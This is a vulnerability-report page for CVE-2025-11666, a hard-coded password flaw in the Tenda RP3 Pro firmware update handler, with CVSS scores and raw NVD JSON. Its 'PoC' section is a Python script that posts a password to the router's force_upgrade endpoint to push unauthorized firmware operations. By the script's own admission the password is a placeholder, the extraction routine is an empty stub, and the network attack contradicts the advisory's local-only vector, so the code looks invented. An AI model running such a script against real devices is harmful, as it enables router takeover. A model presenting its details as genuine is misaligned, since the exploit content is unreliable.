Security Vulnerability Report
中文
CVE-2025-11666 CVSS 6.7 MEDIUM

CVE-2025-11666

Published: 2025-10-13 07:15:53
Last Modified: 2026-04-29 01:00:02

Description

A flaw has been found in Tenda RP3 Pro up to 22.5.7.93. This impacts an unknown function of the file force_upgrade.sh of the component Firmware Update Handler. Executing manipulation of the argument current_force_upgrade_pwd can lead to use of hard-coded password. The attack can only be executed locally. The exploit has been published and may be used.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tenda RP3 Pro <= 22.5.7.93

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11666 PoC - Tenda RP3 Pro Hard-coded Password in force_upgrade.sh # Vulnerability: Use of Hard-coded Password # Affected: Tenda RP3 Pro <= 22.5.7.93 # Component: Firmware Update Handler (force_upgrade.sh) import requests import sys # Target device configuration TARGET_HOST = "192.168.0.1" # Default Tenda router IP TARGET_PORT = 80 # The hard-coded password extracted from force_upgrade.sh # This is the current_force_upgrade_pwd parameter value HARDCODED_PASSWORD = "Tenda@Force2023" # Example placeholder - actual value from firmware analysis def exploit_force_upgrade(target_url, password): """ Exploit the hard-coded password vulnerability in force_upgrade.sh to perform unauthorized firmware upgrade operations. """ # Step 1: Authenticate using the hard-coded password auth_payload = { "current_force_upgrade_pwd": password, "action": "force_upgrade" } try: # Step 2: Send the malicious request to the firmware update endpoint endpoint = f"http://{target_url}/goform/force_upgrade" response = requests.post( endpoint, data=auth_payload, timeout=10 ) if response.status_code == 200: print(f"[+] Exploit successful! Authentication bypassed.") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def extract_password_from_firmware(firmware_path): """ Extract the hard-coded password from the force_upgrade.sh script within the router firmware. """ # In a real scenario, this would involve: # 1. Downloading firmware from Tenda's website # 2. Extracting the filesystem (typically using binwalk) # 3. Locating force_upgrade.sh # 4. Reading the hard-coded password value pass if __name__ == "__main__": if len(sys.argv) > 1: TARGET_HOST = sys.argv[1] print(f"[*] Targeting Tenda RP3 Pro at {TARGET_HOST}") print(f"[*] CVE-2025-11666 - Hard-coded Password Exploit") print(f"[*] Using hard-coded password for force_upgrade authentication") exploit_force_upgrade(TARGET_HOST, HARDCODED_PASSWORD) # Note: The actual hard-coded password needs to be extracted from the # specific firmware version's force_upgrade.sh file. # Reference: https://github.com/IOTRes/IOT_Firmware_Update/blob/main/Tenda/RP3.md

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11666", "sourceIdentifier": "[email protected]", "published": "2025-10-13T07:15:53.063", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in Tenda RP3 Pro up to 22.5.7.93. This impacts an unknown function of the file force_upgrade.sh of the component Firmware Update Handler. Executing manipulation of the argument current_force_upgrade_pwd can lead to use of hard-coded password. The attack can only be executed locally. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:M/C:C/I:C/A:C", "baseScore": 6.5, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 2.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-255"}, {"lang": "en", "value": "CWE-259"}]}], "references": [{"url": "https://github.com/IOTRes/IOT_Firmware_Update/blob/main/Tenda/RP3.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.328085", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.328085", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.673128", "source": "[email protected]"}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]"}]}}